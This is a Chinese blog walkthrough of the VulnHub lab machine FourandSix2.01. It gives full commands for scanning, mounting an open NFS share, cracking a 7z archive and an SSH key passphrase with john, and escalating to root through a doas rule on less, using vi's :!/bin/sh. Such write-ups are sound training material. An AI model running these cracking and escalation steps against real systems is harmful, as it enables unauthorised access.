🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
前言
一、信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
二、信息收集+渗透测试
1、NFS渗透
2、7z压缩包的密码破解
3、ssh私钥登录
三、信息收集+提权
1、信息收集
2、less+vi提权
前言
靶机精讲之FourandSix2.01。vulnhub靶机,涉及7z压缩包暴力破解,ssh密语暴力破解,用到7z2john和ssh2john工具,还有doas下less命令+vi编辑器提权。机器是OpenBSD系统,不多见,小巧精悍,细节满满,是很不错的密码暴力破解演示和提权技巧示范。
一、信息收集
1、主机探测
发现靶机的IP地址是192.168.31.102
┌──(root💀kali)-[~]
└─# arp-scan -l
2、端口扫描
扫描端口发现,开放了22、111、832、2049端口
┌──(root💀kali)-[~]
└─# nmap --min-rate 10000 -p- 192.168.31.102
扫描UDP端口的开放情况,其中参数-sU表示进行UDP扫描,- -top-port 40表示扫描前40个常用端口。
┌──(root💀kali)-[~]
└─# nmap -sU --top-port 40 192.168.31.102
扫描发现了2049UDP端口开放了nfs协议,我们可以利用靶场的nfs协议查看下有哪些共享文件,看看对我们渗透有没有价值。
NFS(Network File System)是一种网络文件系统协议,它允许不同操作系统之间共享文件和文件系统。NFS最初由Sun Microsystems开发,并成为了UNIX和类UNIX系统中最常用的网络文件系统协议之一。
使用NFS,一个计算机可以将其文件系统的一部分或全部共享给其他计算机,使得其他计算机可以通过网络访问和操作这些文件。NFS使用客户端-服务器模型,其中一个计算机充当NFS服务器,而其他计算机则作为NFS客户端连接到服务器。
3、漏洞扫描
也没有什么具体的漏洞发现,端口扫描都没有发现80和8080web页面的,说明这个靶场在其他的地方进行渗透测试,比如我们开始扫描到的nfs服务,我们下一步就可以进行测试下
┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,111,832,2049 192.168.31.102
二、信息收集+渗透测试
1、NFS渗透
要在Kali Linux上查看已共享的NFS文件,你可以执行以下步骤:
- 首先,确保你的Kali Linux系统上已安装了
nfs-common
包。如果没有安装,你可以使用以下命令进行安装:
sudo apt update
sudo apt install nfs-common
- 接下来,使用以下命令来查看可用的NFS共享:
showmount -e <NFS服务器IP地址>
-e表示exports,可以看到共享目录是/home/user/storage,并且everyone所有人都可以访问
将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址。运行该命令后,你将看到NFS服务器上共享的目录列表。
- 如果要挂载NFS共享到本地目录以访问文件,可以使用以下命令:
sudo mount <NFS服务器IP地址>:<共享目录> <本地目录>
将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址,<共享目录>替换为希望共享的目录路径,<本地目录>替换为将共享目录挂载到的本地目录路径。
成功挂载后,你将能够在本地目录中访问和操作NFS共享的文件。
看起来是个7z的压缩包,我们先用file查看具体的文件类型,并用binwalk看看有啥捆绑:
2、7z压缩包的密码破解
解压.7z压缩包:使用以下命令解压.7z压缩包:
┌──(root💀kali)-[~/桌面/nfsdir]
└─# 7z x backup.7z
发现解压这个7z压缩包需要使用密码,但是我们发现这个压缩包里面有8张图片,然后还有一个私钥和公钥,这对我们很重要,因为我们可以利用私钥进行ssh免密码登录。
干脆就用john爆破吧。由于john爆破只能针对hash文件,因此我们先用7z2john生成7z压缩包的哈希
┌──(root??kali)-[~/桌面/nfsdir]
└─# sudo apt install john //使用7z2john工具要先下载John the Ripper
7z2john backup.7z > backup7z_hash
如果师傅们运行7z2john的命令后出现如下报错:
那么解决方法:
提示表明在运行7z2john
脚本时,缺少了Compress::Raw::Lzma
Perl模块。要解决这个问题,需要安装该模块。只要运行以下两个命令安装即可:
sudo apt update
sudo apt install libcompress-raw-lzma-perl
然后删掉错误生成的backup7z_hash,再次运行7z2john backup.7z > backup7z_hash应该就不会有报错了。查询结束。
生成7z的hash后,使用字典rockyou.txt进行压缩包的密码暴力破解,指定形式为7z格式:
john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash
john --show backup7z_hash //查看生成的密码
//得到密码是:chocolate
使用密码chocolate,得到8张图片和两个钥匙文件
老规矩,看到图片我们先用file查看具体的文件类型,并用binwalk看看有啥捆绑的,但是没有发现什么有价值的信息。
3、ssh私钥登录
发现id_rsa文件里面的就是一个 OpenSSH 私钥,可以用于ssh远程登录
从id_rsa.pub文件里面发现,这个钥匙的用户就是user,这里我们就是拿到了OpenSSH 私钥和这个账户了,下一步我们就可以进行ssh远程登录了。
登录发现,需要我们输入私钥(id_rsa)的密码短语(passphrase),可是我们没有,但是我们可以把id_rsa进行哈希加密,跟开始7z压缩包原理一样,然后再利用john进行爆破。
┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh -i id_rsa user@192.168.31.102
与破解压缩包的思路类似,先将私钥生成john对应的hash文件,这里命名为id_rsa_hash:
┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh2john id_rsa > id_rsa_hash
成功生成了id_rsa_hash,然后用john破解,密码字典指定为rockyou.txt,这里不太了解ssh私钥hash的格式是啥,就干脆不用--format指定,让john自己识别:密码是12345678
┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# john --show id_rsa_hash
id_rsa:12345678
1 password hash cracked, 0 left
拿到了私钥的passphrase是12345678,然后我们重新用私钥登录,输入passphrase即可成功登录user的shell:
┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh -i id_rsa user@192.168.31.102
Enter passphrase for key 'id_rsa':
Last login: Mon Oct 29 13:53:51 2018 from 192.168.1.114
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
fourandsix2$ id
uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel)
fourandsix2$ whoami
user
fourandsix2$ uname -a
OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64
三、信息收集+提权
1、信息收集
通过进入靶机,我们对靶机进行常规的信息收集,进行sudo提权和SUID以及查看定时任务,还有查看哪些文件具有写入权限的,都没有发现有价值的信息。
2、less+vi提权
在常规的linux系统中,我们拿到初始shell后往往会运行sudo -l查看有什么特殊的信息,但OpenBSD的语法与之不同,无法直接sudo -l。
我们先尝试寻找有什么s位的文件,尝试能否采用suid的方法提权,具有s位的文件表明该文件在运行时能够以其属主权限运行,我们可以借此进行提取,首先在根目录/按照权限-perm搜索具有s权限的文件f:
我们直接用find搜索doas的相关文件:
find / -name doas* -type f 2>/dev/null
fourandsix2$ find / -name doas* -type f 2>/dev/null
/usr/bin/doas
/etc/examples/doas.conf
/etc/doas.conf
fourandsix2$ cat /etc/doas.conf
permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root
非常关键的信息!这个文件告诉我们,less和authlog指令是可以用doas免密以root权限运行的!那我们就运行试试:
doas /usr/bin/less /var/log/authlog
运行发现再用less读取authlog:
这里我们利用less命令对authlog进行查看,且此时less命令是具有root权限的。但less只能读文件,不能执行系统命令。我们知道在less中按字母v是可以启动vi编辑器的,而vi编辑器中输入冒号:后即可输入交互的指令,又由于less具有root权限,在less中启动的vi编辑器应该也具有root权限。
我们先按v,然后会进入vi编辑模式
再输入:!/bin/sh即可提权,感叹号!用于表示执行系统命令:
发现shell以及变成#号了,说明我们提权成功了,我们这里也成功拿到了root的flag